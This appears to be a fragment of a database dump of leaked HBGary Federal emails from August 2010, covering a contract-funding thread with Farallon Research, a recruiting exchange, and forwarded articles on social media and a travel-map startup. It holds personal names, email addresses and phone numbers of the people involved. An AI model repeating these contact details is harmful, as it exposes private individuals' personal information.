\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/6/2010 9:35 PM, Ray Owen wrote:\r\n\r\n  \r\nTed (and everyone else),\r\n  \r\nThanks for working this. I\'ve attached the task statement, which is\r\nconsistent with Nathan\'s note below.\r\n  \r\nAssume $300K (the $80K from the risk reduction effort, plus another\r\n$220K), with the initial timing as:\r\n4Q10: $88K\r\n1Q11: $88K\r\n2Q11: $22K\r\n3Q11: $22K\r\n  \r\nThere may be options associated with the final demo. Timing would be\r\nprimarily 1Q11-2Q11.\r\n  \r\nThanks,\r\nRay\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n  \r\n  \r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n  \r\n  Ray Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n  \r\n  \r\n  \r\nOn 8/6/2010 4:16 PM, Nathan Atherley wrote:\r\n  \r\n    \r\nFYI\r\n    \r\n    \r\n    \r\n-------- Original Message --------\r\n    \r\n      \r\n        \r\n          Subject: \r\n          Re: FW: URGENT: Update\r\n        \r\n        \r\n          Date: \r\n          Fri, 6 Aug 2010 16:50:09 -0600\r\n        \r\n        \r\n          From: \r\n          Ted Vera &lt;ted@hbgary.com&gt;\r\n        \r\n        \r\n          To: \r\n          nathan.atherley@farallon-research.com\r\n        \r\n        \r\n          CC: \r\n          Aaron Barr &lt;aaron@hbgary.com&gt;,\r\nPenny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt;, mark@hbgary.com, Greg Hoglund &lt;greg@hbgary.com&gt;\r\n        \r\n      \r\n    \r\n    \r\n    \r\nHello Nathan,\r\n    \r\n    \r\n    Penny called and forwarded me your request. &nbsp;Aaron, Mark and I\r\nwill be available this weekend to help with anything you need. &nbsp;Greg\r\nwill be available as required. Please cc me on correspondence so we can\r\nrespond quickly to your requests.\r\n    \r\n    \r\n    My contact information is below if you need an immediate\r\nresponse\r\non anything please feel free to call.\r\n    \r\n    \r\n    Regards,\r\n    Ted\r\n    \r\n    \r\n    \r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\n    www.hbgary.com&nbsp;&nbsp;|\r\n&nbsp;ted@hbgary.com\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    On Fri, Aug 6, 2010 at 4:32 PM, Penny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n    \r\n      \r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\nSent: Friday, August 06, 2010 2:02 PM\r\nTo: Penny Leavy-Hoglund; Ray Owen\r\nSubject: URGENT: Update\r\n      \r\nHey Penny\r\n      \r\nNice to see you last week in Vegas. &nbsp;Hope the show is turning into lots\r\nof business for you guys. &nbsp;I have some good news! &nbsp;I wanted to give you\r\na quick update on Farallon and the CID-1 that we are working together\r\nwith HBGary. &nbsp;This morning we got a call from the customer that we need\r\nto have task statements for the entirety of CID-1 into them by Monday.\r\nNow unfortunately the work I need help with, we will be sending you\r\ninformation regarding the scope and rough quarter by quarter &nbsp;breakdown\r\nof the work(and funding) we hope to accomplish through CID-1 and the\r\ntasks requested of HBGary. &nbsp;I am very sorry to pop this onto you, we\r\ndidn\'t expect this, although we are happy that the funding for the\r\nproject came through. &nbsp;We will likely have some ability to adjust a bit\r\ncome next week, but probably need you to formally commit this weekend so\r\nwe can turn it into the government by monday.\r\n      \r\nWe are including a few clauses into the contract to give us some\r\nrecourse. &nbsp;We are including a payment schedule reopening clause to allow\r\nus to change the payments due to Farallon and HBGary once we get started\r\nand have a better idea of the underlying tasks.\r\n      \r\n      \r\nGive me a call if you would like to discuss. &nbsp;We will send you some more\r\ndetails of the tasks as well as the expected funding by quarter soon.\r\n      \r\nThanks!\r\n      \r\n      \r\nnathan\r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n\r\n',13871,'aaron_hbgary_com/13871.html'),(9891,'2010-08-07','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297007757.M600460P14101Q4747.eml','aaron@hbgary.com','RE: Checking In','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nI\'m doing just fine.&nbsp; Thanks for reaching out and I\'ll let you know if I come across anyone that may be a good fit.\r\n&nbsp;\r\nI heard that SAIC is having a very hard time filling seats&nbsp;for NANA which explains why they\'ve been calling me every week.&nbsp; Are you guys still a sub on that contract?\r\n&nbsp;\r\n-Chris\r\n&nbsp;\r\n&gt; From: aaron@hbgary.com&gt; Subject: Checking In&gt; Date: Fri, 6 Aug 2010 09:05:38 -0400&gt; To: chris_hummel@hotmail.com&gt; &gt; Hi Chris,&gt; &gt; Just checking in to see how things are going. I am sorry our timing did not work out last we talked. I do have some positions for malware analysts, REs, forensics analysts for IC customer in VA. Thought I would let you know in case your interested. If you know of anyone else that you would recommend that would be very helpful.&gt; &gt; Take Care,&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;  		 	   		  \r\n',15188,'aaron_hbgary_com/15188.html'),(9892,'2010-08-07','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297007757.M67034P14101Q4745.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,mark@hbgary.com,greg@HBGary.com','Re: Fwd: Re: FW: URGENT: Update','\r\n\r\n\r\n  \r\n\r\n\r\nTed (and everyone else),\r\n\r\nThanks for working this. I\'ve attached the task statement, which is\r\nconsistent with Nathan\'s note below.\r\n\r\nAssume $300K (the $80K from the risk reduction effort, plus another\r\n$220K), with the initial timing as:\r\n4Q10: $88K\r\n1Q11: $88K\r\n2Q11: $22K\r\n3Q11: $22K\r\n\r\nThere may be options associated with the final demo. Timing would be\r\nprimarily 1Q11-2Q11.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/6/2010 4:16 PM, Nathan Atherley wrote:\r\n\r\n  \r\nFYI\r\n  \r\n  \r\n  \r\n-------- Original Message --------\r\n  \r\n    \r\n      \r\n        Subject: \r\n        Re: FW: URGENT: Update\r\n      \r\n      \r\n        Date: \r\n        Fri, 6 Aug 2010 16:50:09 -0600\r\n      \r\n      \r\n        From: \r\n        Ted Vera &lt;ted@hbgary.com&gt;\r\n      \r\n      \r\n        To: \r\n        nathan.atherley@farallon-research.com\r\n      \r\n      \r\n        CC: \r\n        Aaron Barr &lt;aaron@hbgary.com&gt;,\r\nPenny Leavy-Hoglund\r\n        &lt;penny@hbgary.com&gt;, mark@hbgary.com, Greg Hoglund\r\n        &lt;greg@hbgary.com&gt;\r\n      \r\n    \r\n  \r\n  \r\n  \r\nHello Nathan,\r\n  \r\n  \r\n  Penny called and forwarded me your request. &nbsp;Aaron, Mark and I\r\nwill be available this weekend to help with anything you need. &nbsp;Greg\r\nwill be available as required. Please cc me on correspondence so we can\r\nrespond quickly to your requests.\r\n  \r\n  \r\n  My contact information is below if you need an immediate\r\nresponse\r\non anything please feel free to call.\r\n  \r\n  \r\n  Regards,\r\n  Ted\r\n  \r\n  \r\n  \r\n--&nbsp;\r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\n  www.hbgary.com&nbsp;&nbsp;|\r\n&nbsp;ted@hbgary.com\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  On Fri, Aug 6, 2010 at 4:32 PM, Penny\r\nLeavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n  \r\n    \r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\nSent: Friday, August 06, 2010 2:02 PM\r\nTo: Penny Leavy-Hoglund; Ray Owen\r\nSubject: URGENT: Update\r\n    \r\nHey Penny\r\n    \r\nNice to see you last week in Vegas. &nbsp;Hope the show is turning into lots\r\nof business for you guys. &nbsp;I have some good news! &nbsp;I wanted to give you\r\na quick update on Farallon and the CID-1 that we are working together\r\nwith HBGary. &nbsp;This morning we got a call from the customer that we need\r\nto have task statements for the entirety of CID-1 into them by Monday.\r\nNow unfortunately the work I need help with, we will be sending you\r\ninformation regarding the scope and rough quarter by quarter &nbsp;breakdown\r\nof the work(and funding) we hope to accomplish through CID-1 and the\r\ntasks requested of HBGary. &nbsp;I am very sorry to pop this onto you, we\r\ndidn\'t expect this, although we are happy that the funding for the\r\nproject came through. &nbsp;We will likely have some ability to adjust a bit\r\ncome next week, but probably need you to formally commit this weekend so\r\nwe can turn it into the government by monday.\r\n    \r\nWe are including a few clauses into the contract to give us some\r\nrecourse. &nbsp;We are including a payment schedule reopening clause to allow\r\nus to change the payments due to Farallon and HBGary once we get started\r\nand have a better idea of the underlying tasks.\r\n    \r\n    \r\nGive me a call if you would like to discuss. &nbsp;We will send you some more\r\ndetails of the tasks as well as the expected funding by quarter soon.\r\n    \r\nThanks!\r\n    \r\n    \r\nnathan\r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',13619,'aaron_hbgary_com/13619.html'),(9893,'2010-08-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007757.M814016P14101Q4748.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Checking In','Hey Chris,\r\n\r\nGlad to hear it.  And thank you that would be a great help.\r\n\r\nThey are having some problems.  At the moment we are ok but we only received partial funding.  In October when the full funding hits there will be a shortage.  And yes we are a sub on the contract.\r\n\r\nSo we have positions there that will be opening in october.  Immediate positions in nova.  We are teaching and consulting on social media as well as doing some cool development work are incident response and threat intelligence.  Oh and our incident response business is picking up.  If any of those areas fit people you know please let me know.\r\n\r\nTake care,\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 7, 2010, at 7:14 AM, Chris Hummel  wrote:\r\n\r\n> Hi Aaron,\r\n>  \r\n> I\'m doing just fine.  Thanks for reaching out and I\'ll let you know if I come across anyone that may be a good fit.\r\n>  \r\n> I heard that SAIC is having a very hard time filling seats for NANA which explains why they\'ve been calling me every week.  Are you guys still a sub on that contract?\r\n>  \r\n> -Chris\r\n> \r\n>  \r\n> > From: aaron@hbgary.com\r\n> > Subject: Checking In\r\n> > Date: Fri, 6 Aug 2010 09:05:38 -0400\r\n> > To: chris_hummel@hotmail.com\r\n> > \r\n> > Hi Chris,\r\n> > \r\n> > Just checking in to see how things are going. I am sorry our timing did not work out last we talked. I do have some positions for malware analysts, REs, forensics analysts for IC customer in VA. Thought I would let you know in case your interested. If you know of anyone else that you would recommend that would be very helpful.\r\n> > \r\n> > Take Care,\r\n> > Aaron Barr\r\n> > CEO\r\n> > HBGary Federal Inc.\r\n> > \r\n',8468,'aaron_hbgary_com/8468.html'),(9894,'2010-08-07','aaron@hbgary.com','/aaron@hbgary.com/new/1297007758.M253264P14101Q4750.eml','\"Aaron Barr\" <adbarr@mac.com>','Tips for Managing Social Media Information Overload','Tips for Managing Social Media Information OverloadLast week, I gave some tips for managing information overload, primarily with a focus on dealing with email overload. I wanted to follow up this week with a few more suggestions for dealing with the information overload that results from participation in social media.\r\n\r\nBefore I get into specific tips, let’s talk philosophy for a moment. It will help you maintain your sanity if you learn to think about social  media as fundamentally different from more traditional forms of  communication, like email and voicemail, both of which require attention and response. Social media is more like radio or television; you tune in when you have time and maybe you record a couple of favorite shows, but you don’t try to listen or watch everything. This is why I like to think of social media as more like a river that flows by: You enjoy dipping your toe into the water when you have time, but you don’t need to worry about the things that floated by when you were too busy to pay attention.\r\n\r\nStart With Email\r\n\r\nI don’t mean to keep coming back to email, but social media services generate a large amount of bacn: Those emails about new followers, requests, reminders, events and the like. In last week’s post, I talked about filtering, prioritization and time chunks, so consider this a friendly reminder that you should probably filter as many of those emails as you can to get them out of your inbox and into a folder where you can process them once a day or once a week, without having the constant distraction of so many unimportant messages popping into your inbox all day.\r\n\r\nPruning\r\n\r\nWhen you get to a point where a service has too much noise and is no longer as useful as it once was, it is probably time to prune. Like pruning a tree to get rid of some extra branches, you occasionally need to cut a few friends or followers.&nbsp; This is a hard one, but at some point you need to make hard choices that help you increase your productivity at the risk of annoying a few people. Like any gardener, I try to prune people regularly without waiting so long that the overgrowth is overwhelming, but I do sometimes need to go on a pruning spree when I haven’t been diligent about removing people regularly. The most common reason that people get pruned from my list is because they post too frequently for my taste. I also get rid of people because they no longer post about topics that I am interested in reading; sometimes this is because my (or their) interests have changed.\r\n\r\nOn the flip side of this, there are services that you can use to get notified when someone drops you; I stay far away from those services. People prune all the time for a variety of reason. That’s their choice; I don’t find it a productive use of my time to wonder why someone decided to prune me.\r\n\r\nUse Groups and Lists\r\n\r\nI said before that social media is like a river that you can dip into and out of when you have time without worrying about what has floated by when you weren’t paying attention; however, there are some exceptions to this rule. We all have a few people who matter more to us than most — trusted colleagues, dearest friends, family and son on — and we might actually want to read everything they say. I have a Twitter list for family and another one for people who post things that I usually want to read (a combination of friends and other really smart people). I make sure that I read these lists first; I only read the larger stream only if I have some extra time. I have a similar strategy on Facebook with friend lists set up for people who are important to me. I start by reading the lists, instead of my main news feed. When I have some extra time, I might read a little more from my main feed.\r\n\r\nThink Mobile and Use Downtime\r\n\r\n\r\nTake the time to install some social media applications on your phone, and have theme set up to be able to quickly and easily read posts in your high priority lists. I regularly use my phone to skim my social media streams when I have some downtime, while I’m on the bus or waiting for someone or something away from my computer. Social media is something that can be easily consumed in small bites, so using these short periods of time to process information can help to reduce overload later.\r\n\r\nThese are just a few of the many things you can do to reduce information overload from social media, but my biggest piece of advice is just to let it go. Don’t worry about missing something critical. If it’s that important, it will bubble up somewhere and catch your eye.\r\n\r\nWhat are your tips for reducing information overload from social media?\r\n\r\nPhoto by Dean Meyers used under the Creative Commons Attribution 2.0 Generic license.\r\n\r\n	\r\n		\r\n	\r\n\r\n    \r\nSent from my iPad',12123,'aaron_hbgary_com/12123.html'),(9895,'2010-08-07','aaron@hbgary.com','/aaron@hbgary.com/new/1297007758.M27049P14101Q4749.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Eric Hallam\" <eric@dreamseedbooks.com>','Draw Your Itinerary On A Tripline Map','*Sigh*Draw Your Itinerary On A Tripline MapHaving just returned from a vacation, I’m in the midst of uploading videos and photos so I can send our visual memories of the trip to family and friends. But what if you could create an animated slideshow of sorts that would include an interactive map of your itinerary with photos, videos, Tweets, and even Foursquare check-ins from your trip? Tripline has launched to allow users tell a story of a trip by putting places, images and information on a map.\r\nTripline allows you to create an interactive, embeddable map detailing a trip using your destinations. You essentially create a timeline of your stops within a country or city and tag each stop with descriptions of your activities and include images as well. You can connect with Facebook to add any of your friends who went on the trip with you. And you can create maps from just your Foursquare checkins and or geo-enables Tweets.\r\nThe most obvious use is to be able to share itineraries and trips with anyone easily and visually. The map becomes an animated destination for not only seeing where a friend travelled, but also a way to find out what they did in a particular destination. You can also create trips from past historical events such as The Lewis and Clark Expedition.\r\nFounded by ex-Yahoo employee Byron Dumbrill, who headed product development for video editing service Jumpcut (which was acquired by Yahoo in 2006); Tripline was created when Dumbrill and his fiancee were planning a lengthy trip to Costa Rica. He wanted a way to visualize his travels to different parts of the country on a map, complete with information about where he was going to stay, see etc. And when he returned, friends wanted to see Dumbrill’s itinerary and photos, which he incorporated into an interactive map. The idea for Tripline was born.  \r\nTripline is also monetizing through sponsored trips from travel planning companies (such as GAP Adventures). GAP has created sample itineraries and Tripline users can  book a trip through GAP on the site, allowing the startup collect an affiliate fee. \r\nOf course, Tripline isn’t the first startup to try to meld social, recommendations and travel into a package. Nextstop, which was recently acquired by Facbook, allowed you to create interactive travel guides. Ruba, whose team left to work at Google, also aimed to create an in-depth platform for travel recommendations and itineraries. Where I’ve Been has a related offering for Facebook. And of course there’s online itinerary creators NileGuide and TripIt. \r\nWhile the online travel space is filled with a number of worthy competitors, Tripline’s platform is actually compelling because it is fairly easy to use. Of course, Tripline’s main challenge will be attracting users to its platform. But the startup will be launching a companion Facebook app soon, which could help Tripline gain a larger following. And Dumbrill says that Tripline allows users to chart and record an itinerary both in the planning process and post-vacation, in the sharing process. \r\n\r\nCrunchBase InformationTriplineInformation provided by CrunchBase\r\n       \r\n     \r\nSent from my iPad',6976,'aaron_hbgary_com/6976.html'),(9896,'2010-08-07','aaron@hbgary.com','/aaron@hbgary.com/new/1297007758.M464637P14101Q4751.eml','nathan.atherley@farallon-research.com,nathan.atherley@farallon-research.com','Call','Nate,\r\n\r\nCan we set up a call today to discuss exactly what we need to produce by monday.\r\n\r\nAaron\r\n\r\nSent from my iPad',2698,'aaron_hbgary_com/2698.html'),(9897,'2010-08-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007758.M675748P14101Q4752.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: URGENT: Update','\r\nfarallon-research.comhttp://en.wikipedia.org/wiki/Farallon_Islands\r\n???Begin forwarded message:From: Ray Owen &lt;ray.owen@farallon-research.com&gt;Date: August 6, 2010 10:35:34 PM MDT\r\nTo: Nathan Atherley &lt;nathan.atherley@farallon-research.com&gt;,  ted@hbgary.com, &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;,  Penny Leavy &lt;penny@hbgary.com&gt;, mark@hbgary.com, greg@HBGary.com\r\nSubject: Re: Fwd: Re: FW: URGENT: Update\r\n\r\nTed (and everyone else),\r\n\r\nThanks for working this. I&#39;ve attached the task statement, which is\r\nconsistent with Nathan&#39;s note below.\r\n\r\nAssume $300K (the $80K from the risk reduction effort, plus another\r\n$220K), with the initial timing as:\r\n4Q10: $88K\r\n1Q11: $88K\r\n2Q11: $22K\r\n3Q11: $22K\r\n\r\nThere may be options associated with the final demo. Timing would be\r\nprimarily 1Q11-2Q11.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/6/2010 4:16 PM, Nathan Atherley wrote:\r\n\r\n  \r\nFYI\r\n  \r\n  \r\n  \r\n-------- Original Message --------\r\n  \r\n    \r\n      \r\n        Subject: \r\n        Re: FW: URGENT: Update\r\n      \r\n      \r\n        Date: \r\n        Fri, 6 Aug 2010 16:50:09 -0600\r\n      \r\n      \r\n        From: \r\n        Ted Vera &lt;ted@hbgary.com&gt;\r\n      \r\n      \r\n        To: \r\n        nathan.atherley@farallon-research.com\r\n      \r\n      \r\n        CC: \r\n        Aaron Barr &lt;aaron@hbgary.com&gt;,\r\nPenny Leavy-Hoglund\r\n        &lt;penny@hbgary.com&gt;, 